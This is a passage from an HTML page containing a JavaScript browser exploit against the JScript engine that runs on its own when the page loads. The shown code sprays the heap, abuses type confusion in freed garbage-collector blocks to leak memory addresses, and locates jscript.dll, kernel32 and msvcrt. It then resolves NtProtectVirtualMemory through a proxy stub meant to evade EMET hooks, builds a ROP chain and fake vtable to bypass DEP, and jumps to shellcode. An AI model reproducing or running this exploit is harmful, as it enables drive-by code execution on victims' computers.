FakeVtable += ConvertDwordArrayToBytes([0x40]); // +RX (PAGE_EXECUTE_READ) causes problems due to the page alignment used by NtProtectVirtualMemory. The shellcode is unlikely to begin on a clean multiple of 0x1000, and similarly won't probably end on one either (although this attribute can be manipulated with padding). +RW data on the heap surrounding the shellcode may end up +RX and this causes crashes.
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]);
FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]);
FakeVtable += ConvertDwordArrayToBytes([0x11111111]); // Shellcode will return to this pseudo-address
// Padding on the end of the vtable is not needed: both NtProtectVirtualMemory and the shellcode will be using memory below this address
return FakeVtable;
}
////////
////////
// Misc. helper functions
////////
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0; // First byte is NULL, end of the string.
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
if(TargetNum == CmpNum) {
return 0;
}
while(true) {
if((TargetNum & 0xff) > (CmpNum & 0xff)) {
return -1;
}
else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
return 1;
}
TargetNum = TargetNum >> 8;
CmpNum = CmpNum >> 8;
}
}
function DwordToUnicode(Dword) {
var Unicode = String.fromCharCode(Dword & 0xFFFF);
Unicode += String.fromCharCode(Dword >> 16);
return Unicode;
}
function TableToUnicode(Table) {
var Unicode = "";
for (i = 0; i < Table.length; i++) {
Unicode += DwordToUnicode(Table[i]);
}
return Unicode;
}
function ConvertDwordArrayToBytes(DwordArray) {
var ByteArray = [];
for (i = 0; i < DwordArray.length; i++) {
ByteArray.push(DwordArray[i] & 0xffff);
ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
}
return String.fromCharCode.apply(null, ByteArray);
}
function StrcmpLeak(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord(LeakAddress + (4 * TargetTableIndex));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16) + " original word " + LeakStrWord.toString(16));
if(TableWord == SanitizedStrWord) {
LeakStrWord = LeakWord((LeakAddress + (4 * TargetTableIndex) + 2));
SanitizedStrWord = NullSanitizeWord(LeakStrWord);
TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16));
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10) + " DWORD array length is: " + StrDwordTable.length.toString(10));
}
TargetTableIndex++;
}
else {
break;
}
}
else {
break;
}
}
return false;
}
////////
////////
// Primary high level exploit logic
////////
function Exploit() {
// Initialization
StartTimer();
for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method
var LFHBlocks = new Array();
// Trigger LFH for a size of 0x648
for(i = 0; i < 50; i++) {
Temp = new Object();
Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes
LFHBlocks.push(Temp);
}
EndTimer("LFH");
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet(); // Consistently 460 total
DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));
// Re-claim with type confusion NameLists
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
}
EndTimer("Infoleak VAR creation + re-claim");
// Leak final VVAL address from one of the NameLists
StartTimer();
AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer
EndTimer("Anchor backup");
StartTimer();
var LeakedVvalAddress = 0;
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] > 0x1000) {
LeakedVvalAddress = UntrackedVarSet[i];
break;
}
}
EndTimer("Infoleak VAR scan");
DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16));
if(LeakedVvalAddress != 0) {
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(i=0; i < 46; i++) {
PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress, 0);
}
while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet();
// Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
EndTimer("Anchor index VAR creation + re-claim");
StartTimer();
// Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
var LeakedVvalVar;
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
break;
}
}
DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
// Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
ReClaimIndexNameList(0x11, "A");
if(LeakedVvalVar + "" == 0x11) {
// Create the mutable variable which will be used throughout the remainder of the exploit
EndTimer("Anchor index VAR scan");
DebugLog("Leaked anchor object re-claim verification success");
ReClaimIndexNameList(0, CreateVar32(0x3, 0x22, 0));
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(i=0; i < 46; i++) {
PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct
}
while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet();
// Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
EndTimer("Mutable VAR reference creation + re-claim");
StartTimer();
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
if(UntrackedVarSet[i] + "" == 0x22) {
MutableVar = UntrackedVarSet[i];
break;
}
}
}
// Verify the mutable var can be changed via simple re-claim
ReClaimIndexNameList(0, CreateVar32(0x3, 0x33, 0));
if(MutableVar + "" == 0x33) {
// Test arbitrary read primitive
EndTimer("Mutable VAR reference scan");
DebugLog("Verified mutable variable modification via re-claim");
if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself.
// Derive jscript.dll base from leaked Object vtable
DebugLog("Memory leak test successful");
StartTimer();
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakDword(ObjectAddress);
DebugLog("Leaked vtable address: " + VtableAddress.toString(16));
var JScriptBase = DiveModuleBase(VtableAddress);
if(JScriptBase != 0) {
// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
EndTimer("JScriptBase base leak");
DebugLog("Leaked JScript base address: " + JScriptBase.toString(16));
StartTimer();
var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, [0x4e52454b, 0x32334c45]);
if(Kernel32ImportX != 0) {
EndTimer("Kernel32 random import leak");
StartTimer();
var Kernel32Base = DiveModuleBase(Kernel32ImportX);
if(Kernel32Base != 0) {
EndTimer("Kernel32.dll base resolution");
DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16));
StartTimer();
// Obtain the address of NtProtoectVirtualMemry via the imports of Kernel32.dll (which always imported NtProtoectVirtualMemry from NTDLL.DLL). This can be expensive operation, thus a hint may be used to skip ahead to the correct IAT/INT index for NtProtoectVirtualMemry depending on the version of Kernel32.dll
var HintIndex = 141; // Windows 7 x64 - Wow64 Kernel32.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
var NtProtectAddress = ResolveImport(Kernel32Base, HintIndex, [0x6c64746e, 0x6c642e6c], [0x7250744e, 0x6365746f]); // 'rPtN' 'ceto'
if(NtProtectAddress != 0) {
EndTimer("NtProtoectVirtualMemry resolution");
DebugLog("Successfully resolved NtProtoectVirtualMemry address from kernel32.dll IAT: " + NtProtectAddress.toString(16));
// Obtain a random MSVCRT.DLL import from Jscript.dll and use it to identify the base of MSVCRT.DLL: it is from MSVCRT.DLL that the ROP gadgets will be harvested
StartTimer();
var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, [0x6376736d, 0x642e7472]);
var MsvcrtBase = DiveModuleBase(MsvcrtImportX);
EndTimer("MsvcrtBase base leak");
StartTimer();
var RopGadgetSet = ResolveGadgetSet(MsvcrtBase);
EndTimer("ROP gadget resolution");
if(RopGadgetSet != null) {
// NtProtoectVirtualMemry cannot/should not be used as the direct address for disabling DEP. EMET may have hooked it. Therefore, hunt for another syscall in NTDLL.DLL which has the same number of paraameters (same RETN value) as NtProtoectVirtualMemry and use it as a stub.
StartTimer();
var NtProtectProxyStubAddress = ResolveNtProtectProxyStub(NtProtectAddress, 0x100);
EndTimer("NtProtoectVirtualMemry proxy stub resolution");
if(NtProtectProxyStubAddress != 0) {
// Convert the shellcode from a DWORD array into a BSTR and leak its address in memory.
StartTimer();
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = (ShellcodeStr.length * 2);
DebugLog("Shellcode length: 0x" + ShellcodeLen.toString(16));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr);
DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16));
// NtProtoectVirtualMemry has several parameters which are in/out pointers. Thus we must have a +RW region of memory whose contents we control and address we have leaked to carry these values.
var WritableStr = "";
WritableStr += ConvertDwordArrayToBytes([0]);
WritableStr += ConvertDwordArrayToBytes([ShellcodeAddress]);
WritableStr += ConvertDwordArrayToBytes([ShellcodeLen]);
WritableStr += ConvertDwordArrayToBytes([0]);
WritableStr = WritableStr.substr(0, WritableStr.length);
var WritableAddress = LeakObjectAddress(LeakedVvalAddress, WritableStr);
// Create the fake vtable for the mutable var. The Typeof method of this vtable is what will be used to trigger the EIP hijack. Since the vtable serves as dual-role as both a vtable and an artificial stack (after the stack pivot) extra space/padding is used to accomodate this (NtProtectVirtualMemory itself will require this space for its stack usage)
var FakeVtablePaddingSize = 0x10000; // 64KB should be plenty to accomodate stack usage within NtProtectVirtualMemory and within shellcode (if it does not stack pivot on its own)
var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectProxyStubAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs
FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs
// Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length
var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize);
EndTimer("Building shellcode, fake vtable, writable objects");
DebugLog("Fake vtable address: " + FakeVtableAddress.toString(16));
ReClaimIndexNameList(0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // VAR in VVAL will be a type 0x81 (not type 0x80) VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll
DebugLog("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16));
typeof MutableVar;
DebugLog("Clean return from shellcode");
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry proxy stub via opcode scan");
}
}
else {
DebugLog("Fatal error: unable to dynamically resolve ROP gadget addresses");
}
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT");
}
}
else {
DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16));
}
}
else {
DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT");
}
}
else {
DebugLog("Failed to leak JScript.dll base address");
}
}
else {
DebugLog("Memory leak test failed");
}
}
else {
DebugLog("Failed to verify mutable variable modification via re-claim");
}
}
else {
DebugLog("Failed to extract final VVAL index via re-claim");
}
}
else {
DebugLog("Leaked anchor object type confusion re-claim failed");
}
}
Exploit();
</script>
</head>
</html>